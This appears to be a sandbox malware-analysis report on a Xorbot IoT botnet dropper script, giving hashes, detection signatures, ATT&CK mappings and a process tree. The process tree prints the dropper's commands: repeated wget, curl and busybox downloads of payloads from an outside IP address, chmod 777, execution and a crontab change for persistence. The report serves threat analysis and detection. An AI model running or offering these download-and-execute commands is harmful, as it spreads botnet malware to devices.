xorbot | 3d0da0f02fc31c2ea115a328dc878c8b41ff796faab9348025f38520d6ddb315

Analysis

max time kernel
150s
max time network
105s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
03-12-2024 08:21

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General

Target

bins.sh
Size

10KB
MD5

cf70d58f95757ee8960c21dc3c7551eb
SHA1

0c40b1cd7245f052bf82533610cb2d05b9ed349f
SHA256

3d0da0f02fc31c2ea115a328dc878c8b41ff796faab9348025f38520d6ddb315
SHA512

5eacf2de8727fc9fc5e44885fcb310e06826869079d0e8fdf752cbe4eab4cb7403f261657a15c31279eb0e14411b4c03ba0054c45d6c54ea60c4cb538ddf7941
SSDEEP

192:0VdnWFAfPfLfluf6B2Ik8VF+UIk8VFFfPfLfluf6RL:0VdnWF0aDL

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 7 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot
behavioral4/files/fstream-12.dat	family_xorbot
behavioral4/files/fstream-13.dat	family_xorbot
behavioral4/files/fstream-14.dat	family_xorbot
behavioral4/files/fstream-16.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
753	chmod
796	chmod
810	chmod
842	chmod
727	chmod
734	chmod
817	chmod
823	chmod
830	chmod

Executes dropped EXE 9 IoCs

ioc	pid	Process
/tmp/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe	728	YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
/tmp/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis	735	K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
/tmp/8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE	755	8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE
/tmp/YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ	797	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
/tmp/ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2	811	ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2
/tmp/HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU	818	HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU
/tmp/j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb	824	j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb
/tmp/spncbAA2QBmNetXMunX4BroE225fGFXuQH	831	spncbAA2QBmNetXMunX4BroE225fGFXuQH
/tmp/WYAiS0bZzGGVP2t1nmO2u8qjl3PI4CbyKQ	844	WYAiS0bZzGGVP2t1nmO2u8qjl3PI4CbyKQ

Renames itself 1 IoCs

pid	Process
798	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.up5Mis	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/164/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/805/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/21/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/37/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/114/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/780/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/818/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/485/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/536/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/696/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/814/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/11/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/352/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/869/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/82/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/848/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/851/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/868/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/16/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/374/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/808/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/24/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/831/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/859/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/804/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/822/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/784/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/810/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/838/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/542/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/693/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/803/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/829/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/864/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/12/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/78/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/353/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/80/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/395/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/863/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/6/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/9/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/72/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/867/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/802/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/861/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/843/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/857/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/828/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/13/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/386/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/823/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/834/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/865/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/5/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/68/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/70/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/813/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/8/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
File opened for reading	/proc/14/cmdline	YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ

Writes file to tmp directory 17 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis	wget
File opened for modification	/tmp/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis	curl
File opened for modification	/tmp/YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ	wget
File opened for modification	/tmp/YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ	busybox
File opened for modification	/tmp/HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU	busybox
File opened for modification	/tmp/spncbAA2QBmNetXMunX4BroE225fGFXuQH	busybox
File opened for modification	/tmp/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe	wget
File opened for modification	/tmp/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe	busybox
File opened for modification	/tmp/WYAiS0bZzGGVP2t1nmO2u8qjl3PI4CbyKQ	busybox
File opened for modification	/tmp/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe	curl
File opened for modification	/tmp/j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb	busybox
File opened for modification	/tmp/YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ	curl
File opened for modification	/tmp/8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE	wget
File opened for modification	/tmp/8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE	busybox
File opened for modification	/tmp/ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2	busybox
File opened for modification	/tmp/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis	busybox
File opened for modification	/tmp/8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:696
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:701
- /usr/bin/wget
  wget http://216.126.231.240/bins/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
  2⤵
  - Writes file to tmp directory
  PID:703
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:718
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
  2⤵
  - Writes file to tmp directory
  PID:726
- /bin/chmod
  chmod 777 YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /tmp/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
  ./YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
  2⤵
  - Executes dropped EXE
  PID:728
- /bin/rm
  rm YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
  2⤵
  PID:730
- /usr/bin/wget
  wget http://216.126.231.240/bins/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
  2⤵
  - Writes file to tmp directory
  PID:731
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
  2⤵
  - Writes file to tmp directory
  PID:733
- /bin/chmod
  chmod 777 K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
  ./K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
  2⤵
  PID:737
- /usr/bin/wget
  wget http://216.126.231.240/bins/8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE
  2⤵
  - Writes file to tmp directory
  PID:738
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE
  2⤵
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE
  2⤵
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE
  ./8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm 8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE
  2⤵
  PID:758
- /usr/bin/wget
  wget http://216.126.231.240/bins/YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
  2⤵
  - Writes file to tmp directory
  PID:759
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
  2⤵
  - Writes file to tmp directory
  PID:793
- /bin/chmod
  chmod 777 YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
  ./YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:797
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:799
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:800
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:801
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:802
- /bin/rm
  rm YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
  2⤵
  PID:804
- /usr/bin/wget
  wget http://216.126.231.240/bins/ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2
  2⤵
  PID:808
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2
  2⤵
  - Writes file to tmp directory
  PID:809
- /bin/chmod
  chmod 777 ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2
  ./ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2
  2⤵
  - Executes dropped EXE
  PID:811
- /bin/rm
  rm ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2
  2⤵
  PID:813
- /usr/bin/wget
  wget http://216.126.231.240/bins/HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU
  2⤵
  PID:815
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU
  2⤵
  - Writes file to tmp directory
  PID:816
- /bin/chmod
  chmod 777 HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU
  ./HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU
  2⤵
  PID:819
- /usr/bin/wget
  wget http://216.126.231.240/bins/j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb
  2⤵
  PID:821
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb
  2⤵
  - Writes file to tmp directory
  PID:822
- /bin/chmod
  chmod 777 j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb
  ./j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb
  2⤵
  - Executes dropped EXE
  PID:824
- /bin/rm
  rm j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb
  2⤵
  PID:826
- /usr/bin/wget
  wget http://216.126.231.240/bins/spncbAA2QBmNetXMunX4BroE225fGFXuQH
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/spncbAA2QBmNetXMunX4BroE225fGFXuQH
  2⤵
  PID:828
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/spncbAA2QBmNetXMunX4BroE225fGFXuQH
  2⤵
  - Writes file to tmp directory
  PID:829
- /bin/chmod
  chmod 777 spncbAA2QBmNetXMunX4BroE225fGFXuQH
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/spncbAA2QBmNetXMunX4BroE225fGFXuQH
  ./spncbAA2QBmNetXMunX4BroE225fGFXuQH
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm spncbAA2QBmNetXMunX4BroE225fGFXuQH
  2⤵
  PID:833
- /usr/bin/wget
  wget http://216.126.231.240/bins/WYAiS0bZzGGVP2t1nmO2u8qjl3PI4CbyKQ
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WYAiS0bZzGGVP2t1nmO2u8qjl3PI4CbyKQ
  2⤵
  PID:835
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WYAiS0bZzGGVP2t1nmO2u8qjl3PI4CbyKQ
  2⤵
  - Writes file to tmp directory
  PID:837
- /bin/chmod
  chmod 777 WYAiS0bZzGGVP2t1nmO2u8qjl3PI4CbyKQ
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/WYAiS0bZzGGVP2t1nmO2u8qjl3PI4CbyKQ
  ./WYAiS0bZzGGVP2t1nmO2u8qjl3PI4CbyKQ
  2⤵
  - Executes dropped EXE
  PID:844
- /bin/rm
  rm WYAiS0bZzGGVP2t1nmO2u8qjl3PI4CbyKQ
  2⤵
  PID:846
- /usr/bin/wget
  wget http://216.126.231.240/bins/4DyeEXmSIsM3f0ZSabUF0qovN2Stm1DkEA
  2⤵
  PID:847

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/WYAiS0bZzGGVP2t1nmO2u8qjl3PI4CbyKQ

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

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/tmp/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/spncbAA2QBmNetXMunX4BroE225fGFXuQH

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.up5Mis

Filesize
210B

MD5
74048b119b3a34e4a12afb31b5a1ca55

SHA1
92b4b3316bdfb6e3f0b5b8bc1bb488288f8efa2a

SHA256
bfc7dbb655599e2f8978b9adea3ee2885a50ca233b2d4dcf26dce528bfbd340d

SHA512
1463cd2f6211f748b71ddb7105ce8da1bf5a3706d240dd4dd9f336dc9fc41c886462a5d77a1e29deb3375d8eb3d27a31c8c89ea1a0c231ece4ea51d42749c694

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads